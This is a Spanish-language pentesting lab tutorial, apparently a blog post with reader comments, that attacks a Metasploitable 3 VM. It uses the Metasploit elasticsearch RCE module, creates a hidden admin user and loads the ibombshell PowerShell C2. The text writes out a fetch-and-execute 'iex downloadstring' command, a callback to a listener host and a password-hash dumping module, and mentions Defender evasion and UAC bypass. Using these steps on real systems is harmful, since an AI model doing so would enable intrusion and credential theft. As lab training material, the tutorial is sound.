Explotación de Vulnerabilidades con Elasticsearch y Ibombshell
Para esta práctica se aprovechará la vulnerabilidad de elasticsearch en Metasploitable 3. Para esto iniciamos msfconsole y seleccionar el exploit a utilizar con el comando use de la herrramienta:
Use exploit/multi/elasticsearch/script_mvel_rce
Nota: es importante agregar el RHOST que será el equipo objetivo.
Nos devolverá una Shell Meterpreter.
Con el comando pwd mostrará la dirección donde te encuentras.
Para obtener el número de proceso mediante getpid.
El usuario se obtiene con:
Para conocer mayores detalles del sistema operativo
Con el comando ps se mostrarán los procesos corriendo dentro del sistema.
Conocer su tabla ARP ayudará determinar rápidamente equipos dentro de la red.
Obteniendo una Shell del sistema y utilizando escritorio remoto
Se ejecuta el comando Shell.
Obteniendo los usuarios.
Agregar un usuario de nombre pedro y el password pedro1234
Después agregarlo al grupo de administradores con el comando:
En otra terminal se ejecuta el comando:
Hasta aquí todo bien, pero el tener un usuario extra es muy evidente y el administrador de sistemas puede sospechar rápidamente. Por lo cual se hará uso de la herramienta Ibombshell la cual está escrita en Powershell que permite rápidamente obtener funcionalidades post-exploit en cualquier instante y sistema operativo a través de un repositorio de Github.
Es una shell remota que se carga directamente en memoria sin ser almacenado en disco, por lo cual se dejan menos rastros y proporciona acceso a una gran cantidad de características de pentesting.
Jugando con IbombShell
En el equipo donde se encuentra Kali Linux se descarga el repositorio de “ibombshell” en el siguiente enlace.
https://github.com/ElevenPaths/ibombshell
Para descomprimir con el comando unzip ibombshell-master.zip
Se ingresa a la carpeta ibombshell-master/ibomshell c2
Ejecutar el comando pip install -r requirements.txt para instalar.
Para iniciar e ingresa pyhton3 ibombshell.py, con lo cual aparecerá la siguiente pantalla una vez terminada la carga.
Se crea un listener, para esto es necesario cargar el módulo.
load modules/listener.py
Para ver las opciones que presenta el módulo se ejecuta el comando “show”
Se puede utilizar los parámetros por defecto, pero si el puerto de escucha se encuentra ocupado pueden utilizar otro sin problema. Para iniciar el módulo con el comando “run”, quedando a la escucha en espera de una conexión.
Para realizar una conexión, en el equipo donde se encuentra instalado Metaploitable 3 se inicia escritorio remoto y con el usuario previamente creado:
Usuario: pedro
Password: pedro1234
Se prosigue a abrir Powershell y se ejecuta el siguiente comando para obtener una consola de Ibombshell.
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)
Para obtener una consola que se comunique con nuestro equipo se ejecuta el comando:
console -Silently -uriConsole http://192.168.2.5:8080
Al ejecutar el comando anterior, se mostrará en nuestro módulo de Ibombshell un nuevo warrior (Equipo conectado).
Para ver el listado de los warrios se ejecuta el comando:
Warrior list
Se configura el módulo para establecer la comunicación.
Después se selecciona el warrior
Se manda una instrucción en este caso “whoami”
Con el comando run se mostrará el resultado
Para obtener las credenciales del equipo basta con carga el módulo:
Load modules/credentials/invoke-powerdump.py
Se establece el warrior que sigue siendo el mismo.
Se ejecuta con el comando “Run” y se obtienen los usuarios junto con los hashes de las contraseñas.
Entre otras cosas interesante que permite Ibombshell es desactivar el análisis en tiempo real de Windows Defender, bypass de UAC, obtener llaves SSH y realizar movimientos laterales. Como pueden observar una herramienta muy interesante que debemos añadir en nuestro arsenal.
“Great power involves great responsibility”
Franklin D. Roosevelt
cita original
“Today we have learned in the agony of war that great power involves great responsibility. Today we can no more escape the consequences of German and Japanese aggression than could we avoid the consequences of attacks by the Barbary Corsairs a century and a half before.
We, as Americans, do not choose to deny our responsibility.”
Procede a iniciar una carrera armamentística con la URSS
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’) al ejecutar ese comonado me sale error
ll/master/console’)
Exception calling "DownloadString" with "1" argument(s): "The request was aborted: Could not create SSL/TLS secure
channel."
At line:1 char:1
Hola Rodrigo, tengo el mismo problema, lo pudiste resolver?
Error:
Exception calling “DownloadString” with “1” argument(s): "The request was aborted: Could not create SSL/TLS secure channel."
Solución:
PowerShell, especialmente en versiones más antiguas, no siempre utiliza TLS 1.2 por defecto, que es el protocolo de seguridad requerido por muchos sitios web modernos, incluido GitHub. Puedes forzar a PowerShell a usar TLS 1.2 con el siguiente comando:
Se puede escalar de privilegios en un objetivo mediante el UAC, donde igual podemos obtener la contraseña de inicio de sesión.
Tengo una duda. y viene referente al comentario anterior.
supongamos que no creo el usuario remoto. ya que al momento de explotar el elasticsearch, nos da permisos de administrador.
podriamos ejecutar el powershell desde lineas de comandos llendo ala direccion.
C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
desde alli suministrar el comando.
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)
posteriormente.
console -Silently -uriConsole http://192.168.2.5:8080
Es una buena alternativa mi estimado Luis, ya realizaste la prueba de concepto?
Cordial saludo;
Tengo un incoveniente al ejecutar el comando:
“iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)”
Me muestra un error de:
Exception calling “DownloadString” with “1” argument(s): "The request was aborted: Could not create SSL/TLS secure channel."
Les agradecería un tip para poderlo solucionar.
Muchas gracias.
que bronca, no puedo solucionar este error que me da:
java has not been ecexuted, aborting
Al querer ejecutar el comando "iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)" Me tira el error: Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: An unexpected error occurred on a send."
A alguien más le sucedió?
Gracias
Al ejecutar el payload dice "java has not been ecexuted, aborting..." y no me deja ingresar a la máquina metasplotable
Saludos Fabian, es necesario instalar el módulo pynput con:
pip install pynput
Los cuales deben ser instalado con el comando:
pip install -r requirements.txt
Fabio* cualquier duda a la orden.
Buena lectura
Buenas tardes.cuando ejecuto el exploit multi/elasticsearch me dice que est :java has no be executed,aborting.Por que puede ser?
Yo tengo el mismo problema, alguien sabe como solucionarlo?
muchas gracias
Excelente laboratorio.
Duda, siguiendo los pasos me doy cuenta que la opción de acceso remoto se encuentra deshabilitada por defecto. como podría activarla desde la shell(cmd) que se creo.
ya que trato de conectarme via rdesktop ip -u "usuario" -p "contraseña" y la coneccion es unable.
probe desde una terminal windows (cliente remoto) y sigue presentandose.
Excelente documento.
Pregunta. Tengo problemas para abrir Nessus, me dice que la base de datos esta corrupta. He buscado pero no logro solucionarlo. Algun companero con el mismo problema?
¿Cómo llegamos a la conclusión que el equipo metasploitable tiene la vulnerabilidad de elasticsearch? He ralizado un escaneo con Nessus y no ha encontrado dicha vulnerabilidad. Gracias.
Hola, esta vulnerabilidad a mi tampoco me aparecio, pero si pude explotar con ota vulnerabilidad que tenia, en efecto una puerta trasera, lo importante es que tengas acceso a Metasploit desde el kali con una de las vulnerabilidades encontradas por nesus y explotarla con Metaexploit, los pasos siguientes son iguales si ya tienes el acceso a la maquina.
Muy util esta Practica, sin embargo me toco para efectos del ejercicio crear el usuario pedro directamente en la maquina con metaexploitable3 ya que el creado a través de Kali nunca lo vi reflejado.
Posterior a lo anterior es una excelente clase...
Hola a todos
Disculpen para que se creó ibombshell y que es eso de los guerreros (warriors)
y de paso alguien puede explicar que se está haciendo exactamete a partir de que empezamos con lo de ibombshell
porfa alguien que mande mas info porque me quedé a medias JSJSJS 🤣🤣🤣🤣